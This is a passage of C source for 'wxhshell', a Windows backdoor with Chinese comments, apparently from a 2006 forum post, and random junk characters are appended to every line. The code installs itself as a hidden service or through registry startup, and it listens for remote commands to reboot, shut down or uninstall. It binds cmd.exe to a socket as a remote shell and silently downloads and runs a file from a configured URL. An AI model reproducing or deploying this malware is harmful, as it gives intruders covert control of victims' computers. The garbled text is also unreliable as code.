  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wM``vx[/  
  } 9 gc0Ri[4m  
  else { $xqX[ocor  
D &Bdl5g  
    switch(cmd[0]) { u.@B-Pf[Eo  
  @@z5v bs'{  
  // 帮助 MP|$+yuR~  
  case '?': {  6hO]eS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XY,!vLjL  
    break; xUF5  
  } bO'?7=SC  
  // 安装 z7s}-w,  
  case 'i': { cz41<SFL  
    if(Install()) [{q])P;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -PCF Om"  
    else Ou]!@s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T(=Z0M  
    break; u\3=m%1  
    } tx$`1KA  
  // 卸载 ':7gYP*v  
  case 'r': { aeE~[m  
    if(Uninstall()) ATF>"Ux  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^9=2~b  
    else x"P@[T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6SF29[&  
    break; gn:&akg  
    } T2_b5j3i  
  // 显示 wxhshell 所在路径 fp?/Dg"49.  
  case 'p': { $#-O^0D  
    char svExeFile[MAX_PATH]; ' 7H"ezt  
    strcpy(svExeFile,"\n\r"); @5h(bLEP  
      strcat(svExeFile,ExeFile); K2gF;(  
        send(wsh,svExeFile,strlen(svExeFile),0); mq+x=  
    break; =@P]eK/  
    } ap<r )<u  
  // 重启 PU-L,]K  
  case 'b': { bAEwjZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zym6b@+jN  
    if(Boot(REBOOT)) 9z+ZFIf7d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MxqIB(5k  
    else { fLZ99?J  
    closesocket(wsh); _ZE&W  
    ExitThread(0); !8|?0>3)  
    } {$I1(DYN  
    break; i,mZg+;w  
    } \.]C`ocD  
  // 关机 :Q}Zb,32  
  case 'd': { %?BygG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p@eW*tE  
    if(Boot(SHUTDOWN)) QsBC[7<jd-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <l< y R?  
    else { pp+z5  
    closesocket(wsh); HfEl TC:3f  
    ExitThread(0); $ncP#6  
    } _QneaPm%  
    break; a28`)17z  
    } NbK67p:  
  // 获取shell !`dMTW  
  case 's': { |(=b  
    CmdShell(wsh); 7w}]9wCN?  
    closesocket(wsh); Qx8O&C?Ti  
    ExitThread(0); -PaR&0Tt  
    break; bZ}T;!U?I  
  } fs2y$HN  
  // 退出 +&.39q !  
  case 'x': { 4MoxP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v)~!HCG  
    CloseIt(wsh); 19i=kdH  
    break; XdE|7=+s  
    } or(P?Ro  
  // 离开 p3qKtMs0!  
  case 'q': { @%8$k[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nq\~`vH|Gd  
    closesocket(wsh); cA~bH 6  
    WSACleanup(); MC1&X'  
    exit(1); S_;m+Ytg  
    break; p-h(C'PqF  
        } n`D-?]*  
  } HMw}pp:  
  } A27!I+M  
!Y*O0_  
  // 提示信息 ,uZz?7mO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p+CK+m   
} UPkc-^BN  
  } 8Rnq &8A  
,vB nr_D#  
  return; &(NW_ <(  
} I=;=;-  
A`V:r2hnb  
// shell模块句柄 b<BkI""b  
int CmdShell(SOCKET sock) h5lngw  
{ !Hj 7|5  
STARTUPINFO si; !!6g<S7)  
ZeroMemory(&si,sizeof(si)); |5*:ThC[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; foe)_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oTveY  
PROCESS_INFORMATION ProcessInfo; kQ|phtbI  
char cmdline[]="cmd"; vkLyGb7r<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !(sL  
  return 0; Dk}txw}#  
} mzcxq:uZ5  
CIQ9dx7>  
// 自身启动模式 FLQ^J3A,I  
int StartFromService(void) 3A3WD+[L  
{ } A}Vd:#  
typedef struct |&~);>Cq2  
{ C^!~WFy  
  DWORD ExitStatus; ~/!jKH7`j  
  DWORD PebBaseAddress; 5yf`3vV|3@  
  DWORD AffinityMask; Nk?L<'  
  DWORD BasePriority; 8< z   
  ULONG UniqueProcessId; ZBjb f_M:  
  ULONG InheritedFromUniqueProcessId; *a` _,Q{x  
}   PROCESS_BASIC_INFORMATION; I9YMxf>nI  
>viLvDng  
PROCNTQSIP NtQueryInformationProcess; z=TuUl@  
JR|P]}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ES5a`"H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &_3o1<  
jtPHk*>^wu  
  HANDLE             hProcess; JiGS[tR  
  PROCESS_BASIC_INFORMATION pbi; o 'Z W  
DK<}q1xi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +[#^c3x2  
  if(NULL == hInst ) return 0; -IL' (vx  
qcfg 55]'c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *!,k`=.([#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u4Z Accj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,DCrhk  
:D:J_{HJ  
  if (!NtQueryInformationProcess) return 0; SKVQ !^o  
Z`ZML+;~6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xS_tB)C  
  if(!hProcess) return 0; SKJ'6*6  
?d)FYB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K?=g IC:  
dEfP272M  
  CloseHandle(hProcess); xgWVxX^)  
&usum~@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '^BTa6W}m  
if(hProcess==NULL) return 0; yXro6u?rC  
V/J-zH&  
HMODULE hMod; "O%xQ N  
char procName[255]; 8-)@q|  
unsigned long cbNeeded; 5,du2  
`W%R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nc:K!7:  
}nWW`:t kx  
  CloseHandle(hProcess); 3EyVoS6D  
K}Lu1:~  
if(strstr(procName,"services")) return 1; // 以服务启动 l6-%)6u>  
/?:q9Wy  
  return 0; // 注册表启动 I0OfK3!^  
} zmU>  
} BnPNc[I  
// 主模块 rv %^2h<&  
int StartWxhshell(LPSTR lpCmdLine) (&qjY I  
{ 86~q pN  
  SOCKET wsl; [?F]S:/i  
BOOL val=TRUE; Pol c.  
  int port=0; ;})s o  
  struct sockaddr_in door; nPjN\Es6  
CK1gzIg>  
  if(wscfg.ws_autoins) Install(); 9TV1[+JWe  
0zXF{5Up  
port=atoi(lpCmdLine); JPkI+0  
}E\u2]  
if(port<=0) port=wscfg.ws_port; Med0O~T%  
s6_[H  
  WSADATA data; Ufe@G\uyI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "@ @Z{  
7R>Pk9J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F vHd `  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q#.+P1"U  
  door.sin_family = AF_INET; q%MLj./?[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rTM0[2N  
  door.sin_port = htons(port); 9C\@10D  
\_3#%%z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4 UnN~  
closesocket(wsl); "$|ne[b2  
return 1; /7Ft1f  
} [HQ Bx`3TS  
Eb9{  
  if(listen(wsl,2) == INVALID_SOCKET) { s%t =*+L\  
closesocket(wsl); b "5WsJ:'#  
return 1; \m1jV>q  
} C9E@$4*  
  Wxhshell(wsl); LArfX,x3i  
  WSACleanup(); R?+:Js/  
p`3$NCJN  
return 0; C07U.nzh  
%1e{"_$O9  
} K"9V8x3Wg  
7|q _JdKoU  
// 以NT服务方式启动 F[==vte|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JbEQ35r  
{ qn~:B7f  
DWORD   status = 0; !<j)D_  
  DWORD   specificError = 0xfffffff; kIYV%O   
73kL>u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]LZ,>v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,SSq4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :*s+X$x,<  
  serviceStatus.dwWin32ExitCode     = 0; LkIbvJCV  
  serviceStatus.dwServiceSpecificExitCode = 0; *p7_rY  
  serviceStatus.dwCheckPoint       = 0; %%f(R7n  
  serviceStatus.dwWaitHint       = 0; JM Ikr9/$  
]eIV'lP,j/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6T{SRN{  
  if (hServiceStatusHandle==0) return; 7NDjXcuq  
RT+_e  
status = GetLastError(); ${)s ~[  
  if (status!=NO_ERROR) # dxS QmG  
{ s+XDtO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +K03yphZr  
    serviceStatus.dwCheckPoint       = 0; MuQ'L=iJ  
    serviceStatus.dwWaitHint       = 0; |!H@{o  
    serviceStatus.dwWin32ExitCode     = status; iZDZ/hohv  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?tFsSU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lM-*{<B  
    return; YR}By;Bq  
  } 1# X*kF  
?br4 wl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PV,AN   
  serviceStatus.dwCheckPoint       = 0; 3Mt Alc0xp  
  serviceStatus.dwWaitHint       = 0; k?'<f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &[|P/gj#>  
} ~7Jj\@68  
h`b[c.%  
// 处理NT服务事件,比如:启动、停止 Qv>rww]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Seb J}P1x  
{ ?^H1X-;  
switch(fdwControl) Y]>Qu f.!  
{ UAq%Y8KA  
case SERVICE_CONTROL_STOP: @O%d2bgEWV  
  serviceStatus.dwWin32ExitCode = 0; 58H%#3Fy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .WT^L2l%  
  serviceStatus.dwCheckPoint   = 0; VPqMbr"L[  
  serviceStatus.dwWaitHint     = 0; K7N.gT*4  
  { W:z!fh-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  @M E .  
  } A T'P=)F@  
  return; ~^R?HS  
case SERVICE_CONTROL_PAUSE: ;_hL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &33.mdBH  
  break; jwd{CN%  
case SERVICE_CONTROL_CONTINUE: wz(D }N5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {IpIQ-@l  
  break; V9Gk``F<RZ  
case SERVICE_CONTROL_INTERROGATE: ]~A<Q{  
  break; X ?lF,p  
}; d$(>=gzBQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I{0bs Tp;  
} eX@7f!uz  
Hz6yy*  
// 标准应用程序主函数 Cq-#| +zr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @lnM%  
{ oz- k_9%  
b-XC\  
// 获取操作系统版本 AZTn!hrU  
OsIsNt=GetOsVer(); N2x!RYW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &G"r>,HU  
IAJYD/Y&?  
  // 从命令行安装 q T pvz  
  if(strpbrk(lpCmdLine,"iI")) Install(); +#d}3^_]  
VF<C#I  
  // 下载执行文件 \O7Vo<B&D  
if(wscfg.ws_downexe) { t9Nu4yl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5@{+V!o,  
  WinExec(wscfg.ws_filenam,SW_HIDE); GqrOj++>  
} |_P-  
_\tGmME37  
if(!OsIsNt) { <?I s~[2  
// 如果时win9x,隐藏进程并且设置为注册表启动 3koXM_4_{)  
HideProc(); <XHS@|  
StartWxhshell(lpCmdLine); X}5aE4K/  
} h1 D#,  
else MK<VjpP0(  
  if(StartFromService()) Q&9%XF uM  
  // 以服务方式启动 /@.c 59r  
  StartServiceCtrlDispatcher(DispatchTable); OZ$"P<X_"  
else vsM] <t  
  // 普通方式启动 BI\+ NGrB  
  StartWxhshell(lpCmdLine); Q l$t  
($oO, c'z  
return 0; yO6 _G q{  
}
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只看该作者 1 发表于: 2006-10-10
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